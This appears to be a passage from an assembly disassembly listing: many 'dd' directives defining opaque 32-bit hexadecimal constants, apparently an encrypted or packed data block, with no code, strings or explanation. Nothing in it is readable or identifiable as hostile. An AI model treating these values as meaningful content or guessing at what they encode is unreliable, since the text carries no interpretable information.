52BEBB12h dd 106CACC3h, 572FBB30h, 4FABD4B0h, 5569199Eh, 0BB6F8624h dd 495463A7h, 0B45D08A8h, 0DC200135h, 0DC040A8Ah, 55530018h dd 26160968h, 4401B74h, 0C43B3ACDh, 0DDA0AFE6h, 97C90BF5h dd 10DF3DB8h, 81B5EAFCh, 70002B29h, 40BA7780h, 437BBD5Ah dd 56DE8939h, 20A07A59h, 5F12A81Ch, 37BDF731h, 0D4E94781h dd 0D3DD2F62h, 0AC67B86Eh, 5D6960E9h, 890A4505h, 69810B4Fh dd 132BFB11h, 0C12B01FDh, 214A1036h, 248A303Fh, 40F4B80Fh dd 0B7F63629h, 1955FB25h, 0E1205298h, 972C0B6Dh, 40028963h dd 0B77C9CE9h, 125E5224h, 0B9CAAFE9h, 0BF0A1062h, 14368861h dd 0E6E842DEh, 0EAEADE63h, 0C6C11B6Ah, 13712BA6h, 8A2E5FF8h dd 23B69293h, 292099D0h, 10B2875Ch, 5D272FB1h, 65277E54h dd 45FA27E1h, 0D873D495h, 8980332Fh, 206812C3h, 123EF342h dd 0A2FA2F90h, 92FAD60Dh, 40DE92ABh, 174F5488h, 182DBB31h dd 7BC3C800h, 541D484Bh, 0C33A471Dh, 6DF9E97Dh, 0FAB93825h dd 0BE295BF1h, 0DA56C65Ch, 0DDB6E162h, 0B1010D66h, 86C9FED3h dd 0E9D8F6D9h, 0E3687FD7h, 53ECA759h, 0B17595BAh, 66CD84B0h dd 0E9D7D004h, 799AA094h, 9F9ADA50h, 5C264702h, 0F15AD301h dd 685E8250h, 9D5956F3h, 0BD373682h, 0DD346A38h, 0B0B706Ah dd 4357E409h, 2E514808h, 0AD420530h, 6FEEB951h, 5434D22Dh dd 9FFE2575h, 18C36861h, 4878B351h, 8CE08103h, 74489A2Eh dd 42BF0415h, 0B8BE7EEBh, 58C51227h, 0ED809265h, 0BFFB08E9h dd 0CB48E356h, 961DD602h, 91AEC007h, 0BD23BBF6h, 18CED2Fh dd 14194DA4h, 8A7E5445h, 4B7B7AC0h, 64CAE049h, 7C1A592Dh dd 6FFC830Ah, 9C046B1Bh, 0D751E2F2h, 0FF20C6AFh, 0F0EF63BDh dd 1E8107E3h, 1DAA02F3h, 89EA813Dh, 0CE556001h, 1208C4A8h dd 90B8A5Bh, 7572D8E9h, 6842E15Bh, 6CD17764h, 12B04693h dd 67309BDh, 49001625h, 4CC104E5h, 17B0E8C0h, 0C091CD9h dd 0D2FFE9CDh, 2C77AC30h, 5105D8E0h, 0ED8043B5h, 9C89AD83h dd 1EED8CAAh, 60427C41h, 0C76C5DFBh, 2212922Dh, 0F31758E4h dd 9DA310E7h, 54250210h, 65B5B6FDh, 0D5478052h, 7B2EBA17h dd 4A9DA65Ah, 0C9CC7E91h, 94A0EA04h, 0DEEFF4E8h, 685707AFh dd 0A4667BF6h, 0F17C4316h, 0E22744B8h, 6827BA4Eh, 49C7DE5Ch dd 871FA567h, 0BE42C700h, 1938DB7Dh, 8951E9BDh, 6EEC7F33h dd 4D0176E1h, 4DBB20B8h, 98244A5Fh, 1EACD20Fh, 2B95D76Dh dd 0E463E905h, 1C9E51ADh, 32D72F29h, 6771D77Eh, 523754A5h dd 0E90C1E5Bh, 1B44719h, 80D4F657h, 2E30D0ECh, 4F42ABE8h dd 4DF35CA3h, 0C07CEFAAh dd 5AF07B3Ah, 43665224h, 88503903h, 0E9E690ECh, 14329E9Eh dd 2C7A5A53h, 434FD10Bh, 69031FEEh, 0A00C01CFh, 2EFB07Bh dd 8AB30496h, 0A204B2E9h, 0DC5B8965h, 0E4FC2AFh, 0DEA72956h dd 0AA5816F8h, 5A318D8Ah, 4C427676h, 370FB8D8h, 0A5781464h dd 0DC343605h, 0A55F5A0Fh, 8CEF2EF4h, 53D60156h, 6F506A1h dd 4120BB01h, 6BB1F34Ah, 0C8A77B49h, 1253EAB6h, 0ACA34289h dd 0E2A84EAAh, 2771E9C2h, 0BF3820FFh, 98A925ABh, 0A5F73F6Fh dd 8BD7882Dh, 0BB472F8h, 9BCFC287h, 0B0F9C55Fh, 0A74A144h dd 54C12BBFh, 0F10D969Ah, 29F7DA16h, 5327B110h, 20C9B93Ah dd 0AAE91401h, 68C29AA1h, 0B0776038h, 4B376356h, 5EBFC05h dd 69277307h, 0FA89F4FBh, 631D4E1Fh, 48AC86FCh, 401E329Dh dd 12126D05h, 90AF617Fh, 931F0A2Fh, 4C311012h, 86C4E3E8h dd 0DCF6075Ch, 0F7915B75h, 69C80D59h, 301A7BE2h, 5F24AB70h dd 5B13DA21h, 8316EAD1h, 0B2EA9884h, 5427CB62h, 0BD993A0h dd 1AF51561h, 9D497550h, 0E788CA5Fh, 2DAAA8B0h, 72F38E8Fh dd 5B0BA738h, 0BAE9852Eh, 6891D065h, 3BE17B9Ch, 3A0B29FEh dd 0F0047916h, 580AD769h, 1C1602A8h, 79FE26C6h, 0A7F7B27h dd 60CD80F2h, 41F0BE56h, 1810B33Fh, 681CCFA4h, 0CB4F4B07h dd 0DFE04E9Eh, 0A3EF5A2Dh, 29009D1h, 0FEA75515h, 6B6281E7h dd 48DFE172h, 0FAE0EFDBh, 0DE959BFEh, 0E380C9B7h, 4ABB31FEh dd 3EED8101h, 0D17ED02Bh, 0F26DC0DAh, 436917E5h, 0D8A80421h dd 0B477EB79h, 8856026Bh, 0C1090112h, 9EBD4158h, 956B1614h dd 62379AFFh, 0C8DBF7E4h, 41C0E909h, 0CD41B91Bh, 85E87BE5h dd 80AC9C1Dh, 2AFD6B59h, 2FFFC145h, 0F0824F0h, 31413909h dd 0E6185FADh, 3A838660h, 8C35EF31h, 0D4399AABh, 3F976610h dd 9DF6B980h, 0C78095F7h, 30AFB5A0h, 0B75B70FDh, 3E58170Eh dd 33C43E77h, 1EEB79F3h, 0A138D76Ch, 0F09C32B6h, 0E2FE42E9h dd 0AF4E9DFFh, 9154BBFAh, 0CAEED1E9h, 7A0E086Bh, 70169DC3h dd 40527A9Ch, 0CBBE995Dh, 3957FB49h, 0AB2A4439h, 84D46924h dd 0A66EA8AEh, 0BDF126AAh, 0CBDD4981h, 6FBCDCE8h, 270EA84Fh dd 7DD9C2BCh, 8BE27065h, 27EEF138h, 1C20C4D7h, 2F5D9868h dd 9EF01675h, 9982062h, 22A04D43h, 0CDE63370h, 3F020E09h dd 95BB004Fh, 121DA243h, 0BAC6C3E9h, 61E80932h, 962FC84Dh dd 0E97A08C3h, 0C0C5C548h, 68555057h, 64390285h, 0DDF75D6Eh dd 0CC7C8040h, 0C3D6BC25h, 58C799EBh, 5283829Dh, 0A5F5FF01h dd 16158B30h, 96F8220h, 5A10A672h, 1760518Ah, 7904CA61h dd 0E95D096Ah, 9ED52ED9h, 4A2B200Ch, 39EEE990h, 180D3C4Dh dd 0E0237AA3h, 0ED51BD12h, 0CBBD5588h, 5B9A4375h, 0A904AA0Ch dd 58C1E901h, 0FE59314Ah, 3574AA2Ah, 4E0CD904h, 8E7BB900h dd 1FF4FB2Ch, 75B70A4Fh, 0AAEAE982h, 0AA910D46h, 75674509h dd 471AC418h, 0A5C8F9B5h, 104208F5h, 7EF7870Bh, 315A6203h dd 7F84DA09h, 95FE7209h, 0F7525956h, 56028D45h, 7971D5E9h dd 0DD65AFAEh, 5B686602h, 0B0105733h, 609D3EB3h, 4DE952F8h dd 81014564h, 0EF7BC8E6h, 0D20C804Fh, 0E967636Dh, 0CEE24DCDh dd 0C2265A81h, 20E6657Dh, 0AB04DBC4h, 0FD89E148h, 3F20F050h dd 14262D3Bh, 3CD3B587h, 839662BDh, 9B3543EBh, 0FF08DA02h dd 770B11A9h, 54EDA97Dh, 0BF18A8C8h, 260BE75Bh, 6F3C9E1h dd 0F60D9020h, 0F65DCD03h, 63E4E8E8h, 0ECF08EA6h, 6813D6B2h dd 0EEAC7489h, 2A502DC6h, 673E70BFh, 38BB92Ah, 8028329Eh dd 94B50705h, 5D58BD2Ah, 9340962Ah, 0FCECC15Ah, 0FA92583Dh dd 5EE7BBBFh, 8B4EBC5Ah, 1D74D499h, 162F8581h, 2817BA28h dd 8B08C5FAh, 0F90118AAh, 167C3222h, 3521A68h, 0B142155Ch dd 0DACBD1D7h, 0D836D925h, 3E1B29E3h, 0A0182A86h, 0A012D813h dd 0E7D1FFBEh, 0B382720h, 89E693E4h, 0F02E0125h, 65246864h dd 648B7F6Bh, 0A8145504h, 0BCC581B7h, 0DB45264Ch, 0CA41C5BCh dd 0B6E90A01h, 0EB4E656Ch, 1915838Fh, 933BCB43h, 40BE0243h dd 0DF3AFA0Ah, 0DE579562h, 99E99DD2h, 3EC657CAh, 5B7BEDACh dd 0B8B70B3Dh, 0C2F111FFh, 0E7B94CC6h, 535FEE3Ah, 7D8CD7A7h dd 1A25F70Ch, 588EDD2Ch, 0E9130854h, 0C0E4C36Ah, 0B55103E8h dd 0E5767A76h, 1628073h, 4066E306h, 0B030F7ADh, 0EF4B6925h dd 19E6610Fh, 0C50472ABh, 0A80BF0B2h, 664EAB82h, 0E82937E9h dd 0B074672Ch, 65DF0513h, 875EDA24h, 2F072D14h, 1F0BEC5Dh dd 1FA76856h, 0B5DB7F90h, 1708BE63h, 77CA587Ch, 9A3AD4Fh dd 5F4CE32Bh, 0FE291A82h, 90986Ch, 286C9F48h, 0ABE08145h dd 98555B80h, 0EC4695Bh, 84B74A01h, 0EFFA9F52h, 6AD5614Ah dd 0C27A79A5h, 980FB8FEh, 73F48027h, 983DECF7h, 20F82548h dd 0A2BDC9A7h, 3561736Fh, 0E5896003h, 68BA2E05h, 8CC4F931h dd 9B221E87h, 9C97A16h, 9CC3F13h, 0F9ABC789h, 9822DF78h dd 0C1E4B5E5h, 249E3998h, 2B242C2Ah, 2C0BC7FDh, 3DF68412h dd 0DAB45003h, 0FA84A83Dh, 7EBA86A9h, 443FF9E5h, 0D044F7E9h dd 0F03058B9h, 0B34DB195h, 0A94E7778h, 0D9FBB4D0h, 5B633C0Bh dd 681220BCh, 784CF37Bh, 0EF5DDF29h, 170F1EA8h, 0CE7F6907h dd 4C96931Eh, 93199D3h, 30D749CAh, 8647578Fh, 5B45544Ah dd 8CEE22DAh, 0D00EB77h, 161B857h, 2BA52CBh, 7FA0228Fh dd 5CC2C8E9h, 536AFC12h, 0FB70F8DEh, 0F63C5A8Bh, 506F98CDh dd 4F433168h, 23F2DAC5h, 96303C38h, 0E3406A1Ch, 258508EAh dd 1C12D83h, 4E38B620h, 0F1EC2018h, 7AFF3909h, 0B350DFFAh dd 68DB6E27h, 2D08B4A0h, 0CB481FABh, 9BBF3A33h, 34C8CCEAh dd 7849B7C2h, 0AD9B2B5Eh, 0FEC9AF4Eh, 31416E89h, 2F4B8A5Eh dd 9994642Dh, 18CA0693h, 69B3BF26h, 4C13FEC5h, 0C0BF5C42h dd 15E9C315h, 923D5196h, 2709E3C1h, 57A0C2FAh, 1B706DFCh dd 0B492B547h, 822A8477h, 0BBBC35FBh, 0C83A3EC7h, 2EB66884h dd 0E81499ABh, 0E69D4920h, 17DE0705h, 20350F12h, 0D27F851h dd 0D746F60Ch, 9F73C611h, 681318C6h, 9ECA4B92h, 13D0B65Eh dd 60BB2868h, 0F617E20Bh, 4EAECC4h, 9DAFDAEh, 0F7C56D4Bh dd 51DF7E41h, 3CFA018Ah, 42907C90h, 14C7250Eh, 0B7891E3Fh dd 0FFD15DF2h, 0E9A41069h, 25F560C0h, 0FE1CD1C3h, 2C82F795h dd 0FD0B2E48h, 0C54BE446h, 289DF180h, 472C260Ch, 1819024Ch dd 246950A2h, 256A6526h, 0F5EC7ADEh, 0F69B344Bh, 5AD01296h dd 0DDD646AAh, 0CA2ED97Eh, 0E3082D57h, 0B65F167Ah, 25BC188Ah dd 0BC5EF041h, 0AE59696Eh, 781FE98Bh, 0D43005E2h, 0A4DCF65Ah dd 58814ABEh, 910AF02Fh, 3571AD41h, 0A6DFA92Fh, 10B9025Eh dd 2911974Eh, 605AA2DCh, 3E6E86CEh, 0EE0075F8h, 620105EAh dd 615BDBE9h, 485485C9h, 119E808h, 0C869FCB9h, 0E1B34070h dd 722D2150h, 0A3301601h, 0FF6DF824h, 97C89D72h, 312A282h dd 0AE1829A5h, 586FF87Ah, 0FE1364EFh, 0CF7FFC97h, 0CF3C7E4Fh dd 5C6B539Fh, 57003674h, 0E92FA77Fh, 3C4D6B21h, 0CB09667Ch dd 4BC44630h, 0B9AEB429h, 4C4B43F2h, 125D9FF4h, 0B70FCCE9h dd 0D829007Dh, 354E322Dh, 1242BC7Ch, 12080850h, 0F83B301Eh dd 0A3F4159h, 0AEDF6376h, 0D72EA0Dh, 846E45FDh, 12A2BA8Fh dd 0EF4064CBh, 80005B66h, 0EA2898F5h, 0B0CAFE59h, 4A254078h dd 20876497h, 0C89F1038h, 9F64D863h, 9C9055Eh, 2D68EE3Dh dd 19624A68h, 55BA3AF5h dd 1059EEC1h, 14F4DB8h, 9C3542CCh, 0FC106B6Dh, 7991457Dh dd 0F1ACABC2h, 7A3896Bh, 348BF27Bh, 0CAD2D14Ch, 86642593h dd 7797779Ah, 0CDA60E96h, 0D75DEB25h, 133BC7CFh, 0C7640B09h dd 372104C1h, 611EE804h, 0CF7D1D3Eh, 55541871h, 0A549081Dh dd 6CFA240Ah, 2B68E7D8h, 7A34C12h, 0C27D2B60h, 99D0B9E9h dd 9FFBB4Eh, 79F58933h, 5A05617Bh, 51DD305Ch, 5E4A1DB0h dd 0E7A2B6ADh, 689518F7h, 16659F3h, 0EF490A81h, 3922F475h dd 8421D995h, 80C91BC1h, 37A0F1B9h, 0CA7FD224h, 3EB605BCh dd 830232C0h, 62EA7CACh, 6C928DD9h, 2C089860h, 12C15BFEh dd 0D877498Bh, 65B7B4FDh, 16F71367h, 0EB2964DFh, 65A13680h dd 0E9ED0943h, 0C233532h, 0E5176A60h, 0C6BCF4DBh, 0C9B2C1CCh dd 2019DC58h, 22D04EDFh, 9B4A2EF3h, 72E9DC5Dh, 39E4AF61h dd 3D7721DDh, 11E157AFh, 0C6E52BB9h, 2A36C97Bh, 0B13458C6h dd 8D46828h, 0BB284F96h, 0AD2F8D2Ch, 21636861h, 9270B67Bh dd 97D51B56h, 0E707A4AFh, 682E829Dh, 31B97A44h, 0EC151B5Dh dd 0F4317A48h, 1704E5C8h, 2FC4FB90h, 3CC2C384h, 2DB57B06h dd 53400A5Eh, 4C21CABBh, 9F10B892h, 0CFD13E07h, 0D48079FDh dd 210C2C30h, 0ED55489Fh, 1B870D74h, 3F953AE9h, 0D5209A82h dd 839647D0h, 0CC80C2C5h, 4E634D2Dh, 12AFAC4Bh, 57372368h dd 4A77AC8Fh, 5A10FC46h, 0E85F40A0h, 812F9014h, 3A7CED00h dd 52E947C0h, 0EFF9BF09h, 980FC2h, 940E1568h, 0C15E6D05h dd 738005E6h, 4AEB9F22h, 63B4FCC2h, 9A7B3096h, 3E25007Fh dd 62025548h, 449A5935h, 0DD6A4212h, 2F0C5B2Dh, 0E648FAE8h dd 618FB4Bh, 0B04D8B48h, 53D98C7h, 5E0348ACh, 0F717C031h dd 393835D8h, 7F01DF21h, 148307D5h, 0E1988020h, 0BA7C2ED9h dd 0F96CE916h, 0E8F104A0h, 52B8F921h, 4E2BED06h, 1913C69Fh dd 5D0BA853h, 0D5A58976h, 105FADE6h, 80D393C8h, 5113ACBEh dd 600807F5h, 0A43E3734h, 0DA3D90D2h, 4326685Bh, 5DCB1464h dd 0F1FFFAC2h, 358E0C53h, 0E1338034h, 0B312067Bh, 0ACE2C7C1h dd 0A5E5D88h, 0EF395D6Bh, 0DEAEA7F9h, 6AD66242h, 18F8DD12h dd 32AFCA1h, 0FEA81058h, 0A5AD3E32h, 9DF27081h, 5BEB1179h dd 0F08A1371h, 57775D4Dh, 0DE41B22Fh, 98C66059h, 0CB01B20h dd 0E4C0DD5Bh, 0CA2D1B8h, 0C331EF4Dh, 2203ED26h, 1747911h dd 86C41DDh, 279E9A01h, 25846D9Ch, 0B3A5D89Ah, 37AC0B51h dd 0FBC4B076h, 13511E52h, 40B4E095h, 0D64A7BFCh, 81AC6549h dd 0C301178Ah, 0A070FC3Bh, 98261BBDh, 977F9A3Fh, 17DAAFE4h dd 5F220B0Ch, 0D125154Ch, 251CCC21h, 2B9A61CAh, 39C1D110h dd 4BFB2297h, 84BA0037h, 0A7A3E15h, 14E8A035h, 0C1323783h dd 0F344F205h, 68792CABh, 0D3334525h, 0C834681h, 1260E913h dd 89374993h, 0D8283654h, 0C9D60813h, 0A4A0205Ch, 0F8D02AF5h dd 0F401DD5Eh, 0DBA65CE5h, 0E28991A4h, 0F6F32E22h, 769F7A38h dd 0D4B47F13h, 0DA52EA1Ah, 27605DBEh, 8994CC0Fh, 0AC865584h dd 0C1EED2F0h, 13542961h, 0B9EDCC52h, 6E2C6607h, 0B11EB50Ch dd 0F1E62EB4h, 0E310A712h, 0F358009Ah, 386203A5h, 0F9EB4F68h dd 0A3D019CCh, 0B52FC7D5h, 1407ECB7h, 282AD9B7h, 9CF1FAFBh dd 660281F1h, 0F16FB450h, 4A006FDEh, 0F07E781h, 2C037B11h dd 455EB89Ah, 0D8BBB1ACh, 362D6896h, 0B6A4650h, 4C2673A4h dd 7DA3CAF5h, 1366640h, 0E4A38282h, 0D1572937h, 5E753E3Ch dd 34D3E4CBh, 778FD1CFh, 767F54E6h, 693ABFCDh, 909CD95Ch dd 5A56CD01h, 9D42E2C1h, 590649F4h, 6309036Ch, 0DF44A48h dd 5C230442h, 0F99C0C62h, 0F109F72Ah, 3852CE68h, 8A85E942h dd 21C2BF5Eh, 6281742Ah, 14DD110Ch, 0B7530141h, 307FB13Fh dd 10CB3DF9h, 11583D7Eh, 1C5E5A10h, 3E820C04h, 40345D2Ch dd 7358C2B8h, 30E52C80h, 447E2517h, 6440D896h, 950399B8h dd 0F92D030Ah, 0F721FE42h, 68A9BEFCh, 6B050801h, 7A7DC0DDh dd 0F60534A1h, 5CED5A57h, 3A220DF1h, 4BC322D8h, 9F4B2984h dd 0D1302854h, 0B389EB9h, 0CD3156D1h, 6709908Eh, 8B4F977h dd 0D924AEEEh, 2A9BF08h, 21B06857h, 0A70B31CCh, 8013EF31h dd 3E4DD55Dh, 84494F12h, 0DC81C023h, 315A6BFBh, 4DB9094Dh dd 58103760h, 14811D49h, 32EA3064h, 68C30484h, 0C8A303B2h dd 0F6196D0Eh, 34CF81C0h, 0E587B43h, 1C1E07D7h, 0CAC053ACh dd 0B0BD7CCDh, 50375D41h, 0BE145B3Bh, 984FA7F6h, 0BA0716Bh dd 0D92410C6h, 0A50C8169h, 0BBB16F5h, 3C1B63FAh, 24FD0B77h dd 0E2AA9090h, 7F24836h, 53372B03h, 0DFAF5EF2h, 65B1A146h dd 7FF9E030h, 0C56602Fh, 0E9C779A1h, 94BAD597h, 0BB026F41h dd 32691A63h, 15E8DD16h, 862F0ECBh, 65A65101h, 2A41855Ah dd 5F5C2718h, 0D1DF1762h, 55C5001h, 0CFFD8809h, 85407FF1h dd 1F1E7617h, 0EE145E27h, 68936707h, 6DBF5B14h, 4265D58Fh dd 0E350866Fh, 28342D05h, 0B7E6273Bh, 9888FB4Ah, 87B15AE9h dd 0C2D33441h, 6D7D0359h, 8C1A118h, 51057E99h, 7582AEB5h dd 6EAF54B7h, 46EA16E3h, 3F9E4805h, 0FAF07455h, 5F08A0E9h dd 0CEF0F05h, 0C8CB0A7Eh, 0DC8D8F6h, 0E9D02903h, 9DEA9C63h dd 7D42EDDCh, 0F0EB01CCh, 584E9B6Eh, 265B0E85h, 0F0FF8501h dd 0EE514808h, 791C3A8Ah, 7121C09h, 25788F3Ch, 50BFD340h dd 812C3D00h, 627865F5h, 0D0D09F64h, 5E14DE97h, 0F45EE97Fh dd 405D14A4h, 0D12D6805h, 45D6FB4Ah, 7E88805Ah, 5E4E2311h dd 2E5D5AA4h, 1625DF1Ah, 2C98A10Ch, 0CAEFB48Dh, 49E90973h dd 0C3397F2Ah, 0C6A27A53h, 417A5B48h, 0FCF0C1F7h, 0D79866B4h dd 0F828481Dh, 805A5B81h, 0C3CC4CEBh, 0E9CCE122h, 0AC2E4E5Ch dd 3150DF13h, 11CCBA4Bh, 0FEED2E91h, 0DD084B03h, 0E93A2CBFh dd 0B8F545D5h, 9774D825h, 3608F82Bh, 70BF0163h, 0E84D4C19h dd 0A0977721h, 3C7FD85h, 0D640F602h, 50192091h, 0C0F8F2B0h dd 2ACA5655h, 0F6270BF1h, 7B62E525h, 0CAC579F7h, 0EB798895h dd 0E1A7127h, 0D9E49ABDh, 95198043h, 3B0CFD33h, 51092AE9h dd 4A580BF7h, 2E8057ADh, 31D4CF8h, 251F18C7h, 53C04114h dd 4ECED255h, 1DCC3BDh, 0F8E9C2B4h, 3B92378h, 2674F24Bh dd 8A000A9Ah, 9B1ECD8h, 2185F531h, 6855A4C5h, 270EF931h dd 416E2A13h, 3CD13B8Ch, 83F12BEBh, 0A207903Ah, 1E011873h dd 0FF15E105h, 25432D43h, 37B08CE9h, 5CC70980h, 0C575FA30h dd 0A7F09F57h, 0ED27EA48h, 90575D80h, 9DAB20B9h, 0F9F75C17h dd 0BF9284B2h, 6800EC8Ah, 440251E2h, 0D6506E9h, 1EB4240h dd 9D758D2h, 36A1114Dh, 534F5507h, 26A9A689h, 2B13FF54h dd 0EBDB74BBh, 5C8425FCh, 0C26C8031h, 47D22CE9h, 0B2178EECh dd 0EB77AA54h, 5AC2EBB3h, 1539AEEFh, 82865930h, 2195545Fh dd 67969D21h, 6BEF025Eh, 5F15A90Bh, 0B355E28Bh, 0C3B5FFA1h dd 97030AEh, 44B04A27h, 0F9E6AF09h, 69BB7108h, 0F8318C83h dd 1AEAAC02h, 0C14F6009h, 24DC6C54h, 0EC6A9D2Eh, 20B20808h dd 7E92514h, 70C6C290h, 0F7760E0Ch, 1E3F26D0h, 1E0BAA73h dd 41D182D9h, 5F56E0E9h, 33083E24h, 515E0BBEh, 0A9555402h dd 76BDDF64h, 0DB5A2F74h, 89F13E29h, 4BE052BEh, 0EC379286h dd 0DB7A0BF4h, 93C031DFh, 0D41ABDEAh, 0F7903657h, 29296278h dd 7C0BAACEh, 0A52DC516h, 27A2C5D7h, 921085Bh, 0E1FA6A34h dd 2C96BC8h, 84FAF96Fh dd 0B4AA0B35h, 101228AFh, 7909B7AEh, 0D7D875D3h, 981A245Dh dd 0F64156B6h, 17CAF248h, 0A627B0E9h, 63C4105Fh, 7BF7E140h dd 20C62CA6h, 3110C1h, 52263BBAh, 16C9BE37h, 0FDC8ADD9h dd 0F4FC5A3Ch, 9D3C1E17h, 0AAE93F7Fh, 0AD8C6813h, 116E160Eh dd 0F31881E3h, 0DF376518h, 539DDA01h, 0A86A9BBBh, 0AF3DC20h dd 639556C4h, 6C2F03EAh, 1801791Fh, 0CAE8BAF7h, 0A421DA29h dd 0ED6D912Ah, 0E7CFE46Bh, 0F0EA0132h, 56A9F510h, 28562812h dd 0E91502CBh, 0EEE558D7h, 55AFA2CAh, 5912637Ch, 0AEB431A8h dd 847612A3h, 0F1CB5B4Eh, 0E8CA4212h, 1336C138h, 0F1E1439Bh dd 8234FDFDh, 595CC9F7h, 2688FAF5h, 0CB2ACF2Ch, 0E9504654h dd 3EC76360h, 6FB9CB31h, 12D02E4Eh, 2FBB15F2h, 2ED41BA3h dd 54C0EC12h, 9541E05h, 0D8293199h, 7A62A402h, 2C28C55Fh dd 0DE555202h, 8D652F54h, 2727669Eh, 1328BB8Ah, 11E8542h dd 23A5416Eh, 0BE806B29h, 9061A257h, 85E91722h, 4A684114h dd 2F0E5234h, 6C533EC2h, 7AD0FE69h, 0D4035878h, 7BFCDF20h dd 2C74EFB0h, 0B1B2521Fh, 0F8026BBh, 56CB542h, 0ADDBB5Bh dd 0E477FC6Ah, 483F3FC6h, 0D725A658h, 0D601DCE1h, 0B57AECF5h dd 3D71555Eh, 4F7FFDA7h, 82CD09F4h, 0D74B7B79h, 71D57D32h dd 678B9F2Dh, 51BDCC5h, 25F02571h, 9E57D289h, 61F99F0Fh dd 1D0F3208h, 9E388A50h, 1DD78AC0h, 1E558884h, 55EF8109h dd 0CD23878h, 4144E1AAh, 2FB572FAh, 8AB671AAh, 9FFB04F0h dd 0FFB25EE3h, 0C2BEF4Bh, 45393E2Eh, 58F79135h, 418E7E28h dd 8402EC10h, 5C0ACFD7h, 8D89CFA0h, 51954D50h, 4C25D3E2h dd 6A7F4A19h, 67C5F1BAh, 0E6596BECh, 67165E65h, 0A84E85A7h dd 93E9844Ch, 96683990h, 1258BB18h, 0B837EECCh, 3F2BF783h dd 235AB4E5h, 0BF152D3h, 9AA53C41h, 0DFE5575Ch, 1CC05BE4h dd 5D1812h, 104E2D5Fh, 0D001196Bh, 67070551h, 5F86382Bh dd 0DA15C332h, 109425D3h, 368A8AF9h, 0CE948805h, 16EA4AB1h dd 0D709F2F4h, 13809AFAh, 0D71253E9h, 9693B6EBh, 0B0F874FFh dd 44007D02h, 0E2812DC2h, 0BDC93379h, 0F3C507Eh, 7FBF4DCCh dd 0C580EA8Eh, 7495713Fh, 4B3A1381h, 9FBEF33Ah, 599B1289h dd 770C88C0h, 0E76B5728h, 9C14DDA8h, 0BB6076FCh, 7391B926h dd 7E6458E6h, 8665EC04h, 63841C2Ch, 55015BADh, 3160A1C9h dd 0DD0BFED7h, 6CC7D42Fh, 433DD34Ah, 3898E989h, 35400011h dd 57E11083h, 40F020Dh, 19E9342Ch, 0F6C520DDh, 4B9B53C6h dd 0B0DBAC2Dh, 13130FABh, 0B075E978h, 3398490Eh, 0EC309641h dd 937C00E1h, 18055857h, 0BC4F26C9h, 0A917AEFCh, 598B2C0Eh dd 0DA5F682Dh, 0BF2208Ch, 3C09059Dh, 457310BFh, 3C6FD8A0h dd 10C44950h, 17EFBFD7h, 587BB65h, 0EA97DA27h, 302189Ch dd 5398B551h, 0FD8299B7h, 952BE760h, 98F33180h, 4FB3361h dd 0D4FBD0A5h, 99E7AAE4h, 16D9A019h, 9FFC3A05h, 0A7965D3Dh dd 0F277ABC4h, 58F3ECE4h, 18FD0B04h, 3A05AB08h, 4198D931h dd 204F0F89h, 0EDDF759h, 4BFAB850h, 0CC0AE057h, 0B2279F0Bh dd 0E651824Ch, 2983C6DEh, 0D9155536h, 367FD0DBh, 0C2906069h dd 995C9F40h, 0E5F184F9h, 790A92FEh, 0F0A642D5h, 1BE6BDCDh dd 926AE92Ah, 2A906804h, 5DB8274Ch, 890F9231h, 8605E7CBh dd 62191457h, 79391CBBh, 0EE91C8Bh, 66B7BBD0h, 0F80D3B99h dd 0F72E1700h, 610540D8h, 52AB6716h, 0A060D21Dh, 0B5EFF301h dd 20058CC9h, 1A7CCC80h, 51646560h, 9D203463h, 890B69D8h dd 0A95559CDh, 58B55E9Ah, 135BDCE9h, 17E95BEEh, 0FE295E80h dd 0F4EC875Fh, 512ACF07h, 834FB013h, 681201EFh, 0EEE36177h dd 50FAD407h, 0B4C7E593h, 274A3CDDh, 578064E3h, 110948BFh dd 0CE801F5Ah, 96533FE9h, 83D5A54Ch, 0E9F30130h, 1A9A70C3h dd 2F5FE45Ah, 0DB9E8555h, 4EF390F5h, 1418BA1Ch, 33574F44h dd 696C478Dh, 0A7E1DC82h, 42C2BFBh, 0A2F61FEh, 3E627568h dd 722F3B29h, 54274E26h, 6772A662h, 8D52A57Ah, 0EEB1254Fh dd 5E3F9E2Eh, 17F465BEh, 86CAFF55h, 0B816E985h, 0F28009E4h dd 1769D46Bh, 1F770466h, 5BE023Ah, 29B44103h, 0EC1CF02Bh dd 2F683840h, 36472528h, 0D71ED7AFh, 5A8F475Dh, 314D60AAh dd 1B012844h, 107BE981h, 0E32A64C9h, 8BAFD2F7h, 0F6F66A7Fh dd 0DE0CFB00h, 4944E906h, 1E4B00AAh, 556D4BA2h, 0C9C6B4E8h dd 290B4517h, 80478E5h, 502642E3h, 0EE586544h, 0F0A8BB56h dd 194AC3A8h, 0B8C489ACh, 77C249B5h, 74F4D1ABh, 8F96859h dd 3C68AC4Dh, 0F87C0701h, 442D5851h, 2F2D0B06h, 350FDBF0h dd 5DC966DFh, 43447442h, 8458C316h, 536AB202h, 0C009BA7Ch dd 70CC54E5h, 784BF968h, 0C61848CEh, 0D1CBC30Dh, 24265412h dd 95018CECh, 317DD066h, 0EA1F30DDh, 0FA295D07h, 0D7CB215Fh dd 2CE1E74Ch, 43F15EC9h, 2D575CFEh, 0D3E991F1h, 4A51AF8Dh dd 61065E4Bh, 33783E68h, 58541E30h, 79A5B09Dh, 0FCCF88A9h dd 4F3A402Fh, 1815E881h, 0E3DCC02h, 0FD13EBC7h, 6709C373h dd 8E947C5Fh, 649D6EBEh, 5765AF72h, 9FE155E4h, 5259273h dd 1E96A30h, 92D91C5Ah, 327A05E5h, 21D0F718h, 6E7F7B95h dd 68E70590h, 0E435708Ch, 0D06E0D81h, 6357C041h, 9195622Ah dd 822A4C7Dh, 0D16860CDh, 22BB0E0h, 3501C083h, 0E05DE3FDh dd 9D092C85h, 8EA03451h, 0BF0EC6B2h, 40C175B6h, 0E68DFF7h dd 5644A879h, 2E19F453h, 8B7C043h, 57178B49h, 0E44A3CB6h dd 0E725E98Ch, 11EEDD18h, 7F2F5DB6h, 0FE5BAEB3h, 80308DF5h dd 5A7A401Eh, 81D52900h, 9F2D41EDh, 93B947Ch, 917F0714h dd 80715082h, 0AD8B092Ah, 8BD63C09h, 0A31719A6h, 54364A22h dd 0BD584AC6h, 0C152990h, 210BF9E9h, 99F997EAh, 681074Ch dd 0BF6007CAh, 93F8A81Ch, 0C6007582h, 326C40F9h, 8635590Fh dd 0A92C4FB5h, 0DF3F82C3h, 4A92E05Bh, 83C99E17h, 2B7098F8h dd 0AE20C4DFh, 7AA6A931h, 3F45396Bh, 